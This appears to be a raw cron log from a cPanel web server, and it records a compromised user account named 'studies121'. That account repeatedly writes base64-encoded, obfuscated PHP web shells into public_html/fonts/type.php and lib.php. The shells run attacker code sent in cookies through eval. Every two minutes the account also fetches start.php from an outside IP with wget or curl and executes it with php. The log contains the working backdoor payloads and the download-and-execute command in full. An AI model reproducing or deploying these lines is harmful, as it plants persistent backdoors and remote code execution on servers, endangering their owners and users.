Aug 31 19:07:01 ip-184-168-122-23 CROND[15669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:07:01 ip-184-168-122-23 CROND[15670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:08:01 ip-184-168-122-23 CROND[15775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:08:01 ip-184-168-122-23 CROND[15774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:08:01 ip-184-168-122-23 CROND[15778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:08:01 ip-184-168-122-23 CROND[15780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:08:01 ip-184-168-122-23 CROND[15781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:09:01 ip-184-168-122-23 CROND[15868]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 19:09:01 ip-184-168-122-23 CROND[15870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:09:01 ip-184-168-122-23 CROND[15871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:09:01 ip-184-168-122-23 CROND[15872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:09:01 ip-184-168-122-23 CROND[15869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:10:01 ip-184-168-122-23 CROND[15972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:10:01 ip-184-168-122-23 CROND[15973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:10:01 ip-184-168-122-23 CROND[15974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:10:01 ip-184-168-122-23 CROND[15977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:10:01 ip-184-168-122-23 CROND[15976]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 19:10:01 ip-184-168-122-23 CROND[15979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:10:01 ip-184-168-122-23 CROND[15980]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:10:01 ip-184-168-122-23 CROND[15981]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:11:01 ip-184-168-122-23 CROND[16177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:11:01 ip-184-168-122-23 CROND[16178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:11:01 ip-184-168-122-23 CROND[16179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:11:01 ip-184-168-122-23 CROND[16180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:12:01 ip-184-168-122-23 CROND[16268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:12:01 ip-184-168-122-23 CROND[16270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:12:01 ip-184-168-122-23 CROND[16272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:12:01 ip-184-168-122-23 CROND[16271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:12:01 ip-184-168-122-23 CROND[16273]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:13:01 ip-184-168-122-23 CROND[16356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:13:01 ip-184-168-122-23 CROND[16358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:13:01 ip-184-168-122-23 CROND[16359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:13:01 ip-184-168-122-23 CROND[16357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:14:01 ip-184-168-122-23 CROND[16442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:14:01 ip-184-168-122-23 CROND[16443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:14:01 ip-184-168-122-23 CROND[16446]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:14:01 ip-184-168-122-23 CROND[16448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:14:01 ip-184-168-122-23 CROND[16447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:15:01 ip-184-168-122-23 CROND[16567]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:15:01 ip-184-168-122-23 CROND[16569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:15:01 ip-184-168-122-23 CROND[16571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:15:01 ip-184-168-122-23 CROND[16570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:15:01 ip-184-168-122-23 CROND[16572]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:15:01 ip-184-168-122-23 CROND[16573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:16:01 ip-184-168-122-23 CROND[16659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:16:01 ip-184-168-122-23 CROND[16661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:16:01 ip-184-168-122-23 CROND[16662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:16:01 ip-184-168-122-23 CROND[16663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:16:01 ip-184-168-122-23 CROND[16665]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 19:16:01 ip-184-168-122-23 CROND[16664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:17:01 ip-184-168-122-23 CROND[16835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:17:01 ip-184-168-122-23 CROND[16834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:17:01 ip-184-168-122-23 CROND[16838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:17:01 ip-184-168-122-23 CROND[16839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:18:01 ip-184-168-122-23 CROND[16929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:18:01 ip-184-168-122-23 CROND[16931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:18:01 ip-184-168-122-23 CROND[16932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:18:01 ip-184-168-122-23 CROND[16934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:18:01 ip-184-168-122-23 CROND[16933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:19:01 ip-184-168-122-23 CROND[17014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:19:01 ip-184-168-122-23 CROND[17017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:19:01 ip-184-168-122-23 CROND[17016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:19:01 ip-184-168-122-23 CROND[17018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
